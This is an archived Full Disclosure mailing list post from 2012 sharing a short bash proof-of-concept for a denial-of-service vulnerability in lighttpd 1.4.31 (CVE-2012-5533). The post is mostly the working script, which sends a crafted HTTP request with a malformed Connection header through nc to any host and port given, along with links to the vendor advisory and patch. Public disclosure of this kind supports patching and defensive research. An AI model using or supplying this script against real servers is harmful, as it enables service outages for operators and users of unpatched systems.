Full Disclosure mailing list archives
Simple DOS POC lighttpd 1.4.31
From: Milan Berger <m.berger () project-mindstorm net>
Date: Thu, 22 Nov 2012 10:48:44 +0100
Hi, quick and dirty POC for lighttpd 1.4.31 DOS vulnerability. #!/bin/bash # simple lighttpd 1.4.31 DOS POC # CVE-2012-5533 # http://www.lighttpd.net/2012/11/21/1-4-32/ # http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2012_01.txt # written by Milan Berger <t4c () ghcif de> if [ $# -lt 2 ] then echo "usage :$0 <Host/IP> <Port>" else echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n" | nc $1 $2 fi -- Kind Regards Milan Berger Project-Mindstorm Technical Engineer https://www.ghcif.de twitter: http://twitter.com/twit4c _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Simple DOS POC lighttpd 1.4.31 Milan Berger (Nov 22)